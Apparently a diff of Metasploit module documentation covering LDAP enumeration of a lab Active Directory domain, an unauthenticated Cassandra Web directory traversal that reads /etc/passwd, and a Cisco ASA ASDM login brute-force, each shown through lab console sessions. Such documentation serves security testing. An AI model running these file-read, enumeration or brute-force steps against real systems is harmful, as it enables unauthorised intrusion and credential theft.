===================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WAPPS1000022
|
||||
name WAPPS1000022
|
||||
|
||||
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
|
||||
=================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WLPT1000014
|
||||
name WLPT1000014
|
||||
|
||||
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
|
||||
================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WWKS1000016
|
||||
name WWKS1000016
|
||||
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
==========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WVIR1000013
|
||||
name WVIR1000013
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### RUN_QUERY_FILE with Table Output
|
||||
|
||||
Here is the sample query file we will be using:
|
||||
|
||||
```
|
||||
$ cat test.yaml
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_USERS
|
||||
description: "Enumerate users"
|
||||
filter: "(|(objectClass=inetOrgPerson)(objectClass=user)(sAMAccountType=805306368)(objectClass=posixAccount))"
|
||||
columns:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_ORGUNITS
|
||||
description: "Enumerate organizational units"
|
||||
filter: "(objectClass=organizationalUnit)"
|
||||
columns:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_GROUPS
|
||||
description: "Enumerate groups"
|
||||
filter: "(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))"
|
||||
columns:
|
||||
- dn
|
||||
- name
|
||||
- groupType
|
||||
- memberof
|
||||
```
|
||||
|
||||
Here is the results of using this file with the `RUN_QUERY_FILE` action which will
|
||||
run all queries within the file one after another.
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
|
||||
RHOSTS => 172.27.51.83
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_QUERY_FILE
|
||||
ACTION => RUN_QUERY_FILE
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
|
||||
ework/test.yaml
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
|
||||
ramework/wiki/Using-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.27.51.83
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Loading queries from /home/gwillcox/git/metasploit-framework/test.yaml...
|
||||
[*] Running ENUM_USERS...
|
||||
[*] CN=Administrator CN=Users DC=daforest DC=com
|
||||
============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Built-in account for administering the computer/domain
|
||||
name Administrator
|
||||
|
||||
[*] CN=Guest CN=Users DC=daforest DC=com
|
||||
====================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Built-in account for guest access to the computer/domain
|
||||
name Guest
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Running ENUM_ORGUNITS...
|
||||
[*] OU=Domain Controllers DC=daforest DC=com
|
||||
========================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Default container for domain controllers
|
||||
name Domain Controllers
|
||||
|
||||
[*] OU=Admin DC=daforest DC=com
|
||||
===========================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Admin
|
||||
|
||||
[*] OU=Tier 0 OU=Admin DC=daforest DC=com
|
||||
=====================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Tier 0
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Running ENUM_GROUPS...
|
||||
[*] CN=Administrators CN=Builtin DC=daforest DC=com
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Administrators
|
||||
|
||||
[*] CN=Users CN=Builtin DC=daforest DC=com
|
||||
======================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Users
|
||||
|
||||
[*] CN=Guests CN=Builtin DC=daforest DC=com
|
||||
=======================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Guests
|
||||
|
||||
[*] CN=Print Operators CN=Builtin DC=daforest DC=com
|
||||
================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Print Operators
|
||||
|
||||
[*] CN=Backup Operators CN=Builtin DC=daforest DC=com
|
||||
=================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Backup Operators
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=EL-chu-distlist1 OU=T2-Roles OU=Tier 2 OU=Admin DC=daforest DC=com
|
||||
=====================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483646
|
||||
name EL-chu-distlist1
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with Table Output
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN no The username to authenticate to LDAP server
|
||||
BIND_PW no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
|
||||
etasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION
|
||||
set ACTION ENUM_ACCOUNTS set ACTION ENUM_DOMAIN_CONTROLLERS set ACTION ENUM_ORGROLES
|
||||
set ACTION ENUM_ALL_OBJECT_CATEGORY set ACTION ENUM_EXCHANGE_RECIPIENTS set ACTION ENUM_ORGUNITS
|
||||
set ACTION ENUM_ALL_OBJECT_CLASS set ACTION ENUM_EXCHANGE_SERVERS set ACTION RUN_QUERY_FILE
|
||||
set ACTION ENUM_COMPUTERS set ACTION ENUM_GROUPS
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
|
||||
===========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
distinguishedname CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com
|
||||
dnshostname WIN-F7DQC9SR0HD.daforest.com
|
||||
name WIN-F7DQC9SR0HD
|
||||
operatingsystemversion 10.0 (20348)
|
||||
|
||||
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname FSRWLPT1000000
|
||||
distinguishedname CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com
|
||||
name FSRWLPT1000000
|
||||
|
||||
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
|
||||
=====================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname TSTWVIR1000000
|
||||
distinguishedname CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com
|
||||
name TSTWVIR1000000
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
==========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname WVIR1000013
|
||||
distinguishedname CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com
|
||||
name WVIR1000013
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with CSV Output
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT csv
|
||||
OUTPUT_FORMAT => csv
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT csv yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
|
||||
ng-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Name,Attributes
|
||||
"dn","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
|
||||
"distinguishedname","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
|
||||
"name","WIN-F7DQC9SR0HD"
|
||||
"operatingsystemversion","10.0 (20348)"
|
||||
"dnshostname","WIN-F7DQC9SR0HD.daforest.com"
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
|
||||
"displayname","FSRWLPT1000000"
|
||||
"name","FSRWLPT1000000"
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
|
||||
"displayname","TSTWVIR1000000"
|
||||
"name","TSTWVIR1000000"
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
|
||||
"displayname","WVIR1000013"
|
||||
"name","WVIR1000013"
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with JSON Output
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT json
|
||||
OUTPUT_FORMAT => json
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT json yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
|
||||
ng-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
|
||||
"distinguishedname": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
|
||||
"name": "WIN-F7DQC9SR0HD",
|
||||
"operatingsystemversion": "10.0 (20348)",
|
||||
"dnshostname": "WIN-F7DQC9SR0HD.daforest.com"
|
||||
}
|
||||
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
|
||||
"displayname": "FSRWLPT1000000",
|
||||
"name": "FSRWLPT1000000"
|
||||
}
|
||||
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
|
||||
"displayname": "TSTWVIR1000000",
|
||||
"name": "TSTWVIR1000000"
|
||||
}
|
||||
*cut for brevity*
|
||||
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
|
||||
"displayname": "WLPT1000014",
|
||||
"name": "WLPT1000014"
|
||||
}
|
||||
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
|
||||
"displayname": "WWKS1000016",
|
||||
"name": "WWKS1000016"
|
||||
}
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
|
||||
"displayname": "WVIR1000013",
|
||||
"name": "WVIR1000013"
|
||||
}
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
@@ -0,0 +1,100 @@
|
||||
## Vulnerable Application
|
||||
[Cassandra Web](https://rubygems.org/gems/cassandra-web) is an interface for Apache Cassandra using Ruby, Event-machine, AngularJS,
|
||||
Server-Sent-Events and DataStaxRuby driver for Apache Cassandra.
|
||||
|
||||
This module has been tested successfully on Cassandra Web versions:
|
||||
* cassandra-web-0.5.0 on Debian 10.11 (buster) with ruby 2.5.5p157 and Apache Cassandra 3.11.13
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
|
||||
'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
|
||||
This vulnerability occured due to the disabled Rack::Protection module.
|
||||
|
||||
This web service listens on TCP port 3000 by default on all network interface.
|
||||
|
||||
Source and Installers:
|
||||
* [Source Code Repository](https://github.com/avalanche123/cassandra-web)
|
||||
* [Installers](https://rubygems.org/gems/cassandra-web)
|
||||
|
||||
Ruby installation:
|
||||
```
|
||||
apt install ruby-full -y
|
||||
```
|
||||
|
||||
Gem installation:
|
||||
```
|
||||
gem install cassandra-web
|
||||
```
|
||||
|
||||
Apache Cassandra Installation:
|
||||
```
|
||||
cat << EOF > /etc/apt/sources.list.d/cassandra.list
|
||||
deb https://www.apache.org/dist/cassandra/debian 311x main
|
||||
EOF
|
||||
cat << EOF > /etc/apt/sources.list.d/adoptopenjdk.list
|
||||
deb https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ buster main
|
||||
EOF
|
||||
wget -q -O - https://www.apache.org/dist/cassandra/KEYS | apt-key add -
|
||||
wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add -
|
||||
apt update && apt install adoptopenjdk-8-hotspot cassandra -y
|
||||
```
|
||||
|
||||
Run Cassandra Web:
|
||||
```
|
||||
cassandra-web
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
1. Do: `use auxiliary/scanner/http/cassandra_web_file_read.rb`
|
||||
2. Do: `set RHOSTS [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
### Cassandra Web 0.5.0 Linux Debian 10.11 (Ruby 2.5.5p157 and Apache Cassandra 3.11.13)
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/cassandra_web_file_read
|
||||
msf6 auxiliary(scanner/http/cassandra_web_file_read) > set RHOSTS 192.168.56.1
|
||||
RHOSTS => 192.168.56.1
|
||||
msf6 auxiliary(scanner/http/cassandra_web_file_read) > run
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cassandra Web Detected
|
||||
[*] Downloading file...
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
|
||||
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
|
||||
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
|
||||
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
|
||||
ntp:x:107:115::/nonexistent:/usr/sbin/nologin
|
||||
cassandra:x:108:116:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
|
||||
|
||||
|
||||
[+] File saved in: /home/git/.msf4/loot/20220802185716_default_192.168.56.1_cassandra.web.tr_160962.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,132 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module scans for the Cisco ASA ASDM landing page and performs login brute-force
|
||||
to identify valid credentials.
|
||||
|
||||
### Installation
|
||||
|
||||
Acquire a Cisco ASA device or virtual machine. For this description we will use
|
||||
Cisco Adaptive Security Virtual Appliance (ASAv) VMWare Package 9.18.1 (asav9-18-1.zip):
|
||||
|
||||
* https://software.cisco.com/download/home/286119613/type/280775065/release/9.18.1
|
||||
|
||||
The [official installation guide can be found here](https://www.cisco.com/c/en/us/td/docs/security/asa/asa98/asav/quick-start-book/asav-98-qsg/asav-vmware.html)
|
||||
But for completeness, the following will guide the user to a full testing configuration.
|
||||
To start we'll make ASDM remotely accessible:
|
||||
|
||||
1. Unzip the package
|
||||
1. Import `asav-esxi.ovf` in VMWare Fusion (or your VMWare product of choice).
|
||||
1. Select the `ASAv5 - 1 Core / 2 GB (100 Mbps)` deployment option.
|
||||
1. After the import is complete, assign `Network Adapter` (1 is implied) the desired
|
||||
interface (e.g. I'll use `Wi-Fi` for my setup).
|
||||
1. Start the virtual machine
|
||||
1. Allow GRUB to boot the first option (this should happen twice)
|
||||
1. When provided with a command prompt (`ciscoasa>`) type `en`.
|
||||
1. Set an enable password (e.g. `labpass1`)
|
||||
1. Enter the following in the command line interface:
|
||||
1. `conf t`
|
||||
1. `No`
|
||||
1. `interface GigabitEthernet 0/0`
|
||||
1. `nameif outside`
|
||||
1. Assign a static ip address (note the assigned address should make sense within the
|
||||
context of you lab. For example, my lab network is 10.9.49.0/24): `ip address 10.9.49.201 255.255.255.0`
|
||||
1. `no shutdown`
|
||||
1. `exit`
|
||||
1. Set the default route (the last IP should point to your lab router): `route outside 0.0.0.0 0.0.0.0 10.9.49.1`
|
||||
1. Verify you can ping an outside host (e.g. `ping 8.8.8.8`)
|
||||
1. `http server enable`
|
||||
1. `http 0.0.0.0 0.0.0.0 outside`
|
||||
1. `write`
|
||||
1. `exit`
|
||||
|
||||
You should now be able to reach the ASA's web server remotely. From a remote host, execute the following `curl`
|
||||
command to the ASA to verify as much:
|
||||
|
||||
```
|
||||
albinolobster@ubuntu:~$ curl -kv https://10.9.49.201
|
||||
* Trying 10.9.49.201:443...
|
||||
* TCP_NODELAY set
|
||||
...
|
||||
> GET / HTTP/1.1`
|
||||
> Host: 10.9.49.201
|
||||
> User-Agent: curl/7.68.0
|
||||
> Accept: */*
|
||||
>
|
||||
* Mark bundle as not supporting multiuse
|
||||
< HTTP/1.1 301 Moved Permanently
|
||||
< Date: Tue, 21 Jun 2022 13:52:33 UTC
|
||||
< Strict-Transport-Security: max-age=31536000
|
||||
< X-XSS-Protection: 1
|
||||
< Connection: close
|
||||
< Location: /admin/public/index.html
|
||||
<
|
||||
* Closing connection 0
|
||||
* TLSv1.2 (OUT), TLS alert, close notify (256):
|
||||
```
|
||||
|
||||
You should now be able to test the credentials `<Blank>:labpass1` and `enable_15:labpass1`. To
|
||||
add additional users to test with, let's use ASDM from a Windows machine:
|
||||
|
||||
1. Connect to your ASA's web interface (e.g. `https://10.9.49.201/admin/public/index.html`).
|
||||
1. Click "Install ASDM Launcher"
|
||||
1. Enter creds `blank`:labpass1 (where blank is nothing and labpass1 is your enable password)
|
||||
1. Install the downloaded `dm-launcher.msi` (before 7.18.1 it will be unsigned)
|
||||
1. If Java isn't installed, install Java 1.8 (current at time of writing is 8 Update 333): https://www.java.com/en/download/
|
||||
1. Start the ASDM Launcher via `C:\Program Files (x86)\Cisco Systems\ASDM\run.bat`
|
||||
1. Enter your ASAv's IP address (10.9.249.201)
|
||||
1. Enter a blank username
|
||||
1. Enter the enable password (`labpass1`)
|
||||
1. Go to `Configuration -> Device Management -> Users/AAA -> User Accounts`
|
||||
1. Click `Add`
|
||||
1. Set the username to `cisco`
|
||||
1. Set the password to `cisco123`
|
||||
1. Keep the default settings for `Access Restrictions` (Full access with privilege level of 2).
|
||||
1. Hit `OK`
|
||||
1. Hit `Apply`
|
||||
|
||||
You should now be able to log in to the ASDM using `cisco`:`cisco123`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Follow the above instructions to configure ASAv, ASDM, and add the `cisco` user for testing
|
||||
* Do: `use auxiliary/scanner/http/cisco_asa_asdm_bruteforce`
|
||||
* Do: `set RHOST <ip>`
|
||||
* Do: `set VERBOSE false`
|
||||
* Do: `run`
|
||||
* You should see output indicating `cisco:cisco123` was successfully used for login.
|
||||
|
||||
## Options
|
||||
|
||||
### USERPASS_FILE
|
||||
|
||||
File containing users and passwords separated by space, one pair per line.
|
||||
|
||||
### USER_FILE
|
||||
|
||||
File containing users, one per line.
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
File containing passwords, one per line
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ASAv 9.18.1 with ASDM enabled and the `cisco:cisco123` creds set.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce
|
||||
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set RHOST 10.9.49.201
|
||||
RHOST => 10.9.49.201
|
||||
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set VERBOSE false
|
||||
VERBOSE => false
|
||||
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > run
|
||||
|
||||
[*] The remote target appears to host Cisco ASA ASDM. The module will continue.
|
||||
[*] Starting login brute force...
|
||||
[+] SUCCESSFUL LOGIN - "cisco":"cisco123"
|
||||
